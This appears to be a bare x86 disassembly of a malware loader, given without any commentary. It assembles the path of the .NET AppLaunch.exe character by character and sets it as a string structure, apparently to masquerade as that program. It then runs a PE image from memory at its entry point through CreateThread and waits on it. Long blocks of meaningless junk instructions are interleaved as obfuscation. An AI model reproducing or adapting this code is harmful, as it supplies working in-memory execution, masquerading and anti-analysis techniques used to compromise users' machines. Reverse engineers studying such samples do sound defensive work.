ror eax, 0xd8
inc eax
mov eax, 0x43
mov word [ebp - 0x80], ax
mov ecx, 0x3a
mov word [ebp - 0x7e], cx
mov edx, 0x5c
mov word [ebp - 0x7c], dx
mov eax, 0x57
mov word [ebp - 0x7a], ax
mov ecx, 0x69
mov word [ebp - 0x78], cx
mov edx, 0x6e
mov word [ebp - 0x76], dx
mov eax, 0x64
mov word [ebp - 0x74], ax
mov ecx, 0x6f
mov word [ebp - 0x72], cx
mov edx, 0x77
mov word [ebp - 0x70], dx
mov eax, 0x73
mov word [ebp - 0x6e], ax
mov ecx, 0x5c
mov word [ebp - 0x6c], cx
mov edx, 0x4d
mov word [ebp - 0x6a], dx
mov eax, 0x69
mov word [ebp - 0x68], ax
mov ecx, 0x63
mov word [ebp - 0x66], cx
mov edx, 0x72
mov word [ebp - 0x64], dx
mov eax, 0x6f
mov word [ebp - 0x62], ax
mov ecx, 0x73
mov word [ebp - 0x60], cx
mov edx, 0x6f
mov word [ebp - 0x5e], dx
mov eax, 0x66
mov word [ebp - 0x5c], ax
mov ecx, 0x74
mov word [ebp - 0x5a], cx
mov edx, 0x2e
mov word [ebp - 0x58], dx
mov eax, 0x4e
mov word [ebp - 0x56], ax
mov ecx, 0x45
mov word [ebp - 0x54], cx
mov edx, 0x54
mov word [ebp - 0x52], dx
mov eax, 0x5c
mov word [ebp - 0x50], ax
mov ecx, 0x46
mov word [ebp - 0x4e], cx
mov edx, 0x72
mov word [ebp - 0x4c], dx
mov eax, 0x61
mov word [ebp - 0x4a], ax
mov ecx, 0x6d
mov word [ebp - 0x48], cx
mov edx, 0x65
mov word [ebp - 0x46], dx
mov eax, 0x77
mov word [ebp - 0x44], ax
mov ecx, 0x6f
mov word [ebp - 0x42], cx
mov edx, 0x72
mov word [ebp - 0x40], dx
mov eax, 0x6b
mov word [ebp - 0x3e], ax
mov ecx, 0x5c
mov word [ebp - 0x3c], cx
mov edx, 0x76
mov word [ebp - 0x3a], dx
mov eax, 0x34
mov word [ebp - 0x38], ax
mov ecx, 0x2e
mov word [ebp - 0x36], cx
mov edx, 0x30
mov word [ebp - 0x34], dx
mov eax, 0x2e
mov word [ebp - 0x32], ax
mov ecx, 0x33
mov word [ebp - 0x30], cx
mov edx, 0x30
mov word [ebp - 0x2e], dx
mov eax, 0x33
mov word [ebp - 0x2c], ax
mov ecx, 0x31
mov word [ebp - 0x2a], cx
mov edx, 0x39
mov word [ebp - 0x28], dx
mov eax, 0x5c
mov word [ebp - 0x26], ax
mov ecx, 0x41
mov word [ebp - 0x24], cx
mov edx, 0x70
mov word [ebp - 0x22], dx
mov eax, 0x70
mov word [ebp - 0x20], ax
mov ecx, 0x4c
mov word [ebp - 0x1e], cx
mov edx, 0x61
mov word [ebp - 0x1c], dx
mov eax, 0x75
mov word [ebp - 0x1a], ax
mov ecx, 0x6e
mov word [ebp - 0x18], cx
mov edx, 0x63
mov word [ebp - 0x16], dx
mov eax, 0x68
mov word [ebp - 0x14], ax
mov ecx, 0x2e
mov word [ebp - 0x12], cx
mov edx, 0x65
mov word [ebp - 0x10], dx
mov eax, 0x78
mov word [ebp - 0xe], ax
mov ecx, 0x65
mov word [ebp - 0xc], cx
xor edx, edx
mov word [ebp - 0xa], dx
mov eax, dword [ebp - 0x88]
cmp dword [eax + 0xe8], 0
setne cl
mov byte [ebp - 0x115], cl
movzx edx, byte [ebp - 0x115]
test edx, edx
je 0x409688
push 8
mov eax, dword [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00401250
add esp, 0xc
mov edx, dword [ebp - 0xfc]
lea eax, [ebp - 0x80]
mov dword [edx + 4], eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov edx, dword [ebp - 0xfc]
mov word [edx], ax
bswap eax
and ebx, 0x55
or ebx, 0xb2
imul esi
dec esi
imul eax
or edx, 0xd9
dec ebx
inc eax
imul edx
rcr edi, 0xdf
neg eax
sbb ebx, 0x75
neg esi
imul edi
dec eax
or edi, 0x3d
rcl edi, 0x5e
or edx, 0xa6
sbb ebx, 0xb8
inc eax
neg esi
imul ebx
sub eax, 0xe6
rcr ebx, 0x4b
dec eax
imul edi
sub ebx, 0x9d
neg esi
bswap eax
sbb eax, 0xb3
or eax, 0x63
neg edx
or edx, 0x41
dec eax
rol ebx, 0x89
dec edx
not edi
dec esi
rol edi, 0xe3
rcl eax, 0xb4
inc esi
rcr ebx, 0xe5
rcr edi, 0x99
rcl ebx, 0x75
inc edi
neg eax
not ebx
sub ebx, 0xe9
rol ebx, 0x35
neg ebx
not eax
imul edx
or edx, 0xf1
neg edi
neg edi
sub ebx, 0xe1
rcr ebx, 0x30
imul ebx
rcl ebx, 0xee
add eax, 0x5c
rcr esi, 4
or esi, 0x12
imul ebx
inc ebx
inc eax
rcr edi, 0xb5
imul edx
ror edx, 0xc1
sub edi, 0x7f
rcl eax, 0x4a
sbb ebx, 0x79
or edx, 0x43
rol edi, 0x90
not eax
imul eax
mov ebx, 0xd0
bswap edx
and edi, 0x78
or edx, 0xa5
imul esi
sub esi, 0x39
bswap edx
add ebx, 0x36
inc ebx
inc eax
sbb esi, 0x2a
sbb esi, 0xf0
mov ebx, 9
and esi, 0x94
bswap edi
or ebx, 0xbe
ror ebx, 0x82
bswap esi
mov edi, 0x18
or esi, 0xe7
and ebx, 0x38
neg edi
inc edx
add edi, 0x91
bswap esi
neg ebx
bswap eax
ror edx, 0x15
sub edx, 0xcf
imul esi
rcl esi, 0xf0
or esi, 0x45
mov esi, 0xe3
rcr ebx, 0xc1
neg ebx
mov ebx, 0x6e
imul ebx
bswap ebx
and ebx, 0xa6
imul esi
mov edx, 0x8b
add esi, 0xcf
neg eax
imul edi
neg edx
not edx
inc esi
dec edi
not eax
neg edx
dec esi
ror edi, 0xb9
rcl edi, 0x4e
not edi
sub edi, 0xd1
dec eax
mov esi, 0x34
bswap edi
dec edx
inc esi
mov edx, 0x57
neg eax
not esi
bswap ebx
ror edx, 0
neg ebx
rcl esi, 0xfb
sbb edx, 0x69
and esi, 0xe5
not ebx
rcl esi, 8
bswap eax
not edx
dec esi
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x28]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x104], eax
movzx edx, byte [ebp - 0x115]
test edx, edx
je 0x409883
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp - 0xfc]
push ecx
call fcn.00401250
add esp, 0xc
push 0xffffffffffffffff
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ror esi, 0xd3
or edi, 0x5d
add edx, 0x5b
and esi, 0xdb
rcl eax, 0xfd
mov ebx, 0xcd
neg edi
rcl edx, 0x15
not edx
dec edi
bswap esi
rcl ebx, 0xa4
not edi
imul esi
or ebx, 0x4c
not eax
rcl esi, 0x7c
sbb edi, 0xdd
dec edi
neg esi
rcl edi, 0x48
rcl ebx, 0x6c
not eax
dec eax
inc eax
or eax, 0xd2
sbb eax, 0xc3
mov eax, 0x22
neg eax
ror esi, 0x96
neg edi
not esi
inc edi
inc edi
sub edi, 0x65
not esi
sbb edi, 0x7b
rcr edx, 0x43
dec edx
rcl edi, 0xb9
bswap ebx
rcl ebx, 0x90
inc ebx
sbb esi, 0xa
dec ebx
mov eax, 0x3f
neg edi
inc esi
not edi
bswap eax
bswap edi
neg ebx
inc edi
add ebx, 0x79
bswap edx
rcl ebx, 0xb5
imul ebx
bswap edx
not eax
ror edx, 0xac
imul ebx
not esi
inc esi
add esi, 4
and edi, 0xcc
neg esi
mov esi, 0xed
not eax
rcr esi, 3
neg esi
sub edx, 0xa5
not edx
rcr ebx, 0xe4
or esi, 0xd
imul eax
dec edx
neg esi
ror eax, 0xc0
not edx
ror edx, 0xf1
not eax
bswap edx
inc edi
rcl edx, 0x2d
or edx, 0x77
dec edx
mov edi, 0xa1
neg edi
sub eax, 0xdb
add edi, 0xd5
dec eax
not ebx
rol eax, 0xff
or esi, 0x3c
rcl esi, 0x12
or esi, 0x72
not ebx
inc eax
add edx, 0x63
mov edi, 0x36
inc esi
or edi, 0x25
add edi, 0xdd
not edi
dec edi
dec eax
mov edi, 0x7f
sub ebx, 0xfd
bswap esi
add edi, 0xa8
dec ebx
ror edi, 0xd4
mov edi, 0xf2
mov esi, 0xd8
and ebx, 0x41
sbb esi, 0xe8
imul edx
dec edx
bswap ebx
imul esi
neg eax
neg edx
rcl esi, 0xaf
or esi, 0xc9
mov edi, 0x3d
sbb edi, 0x5a
not edx
sbb edx, 2
or ebx, 0x15
dec eax
bswap esi
imul ebx
add edi, 0x51
bswap edi
rol ebx, 0x8b
bswap edx
sub edi, 0xee
dec edi
rcr edx, 0x36
bswap eax
not edx
not edi
bswap eax
dec eax
rcr edx, 0x11
rol edx, 6
add esi, 0x36
sub edi, 0xfa
imul edx
sub edi, 0xf5
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret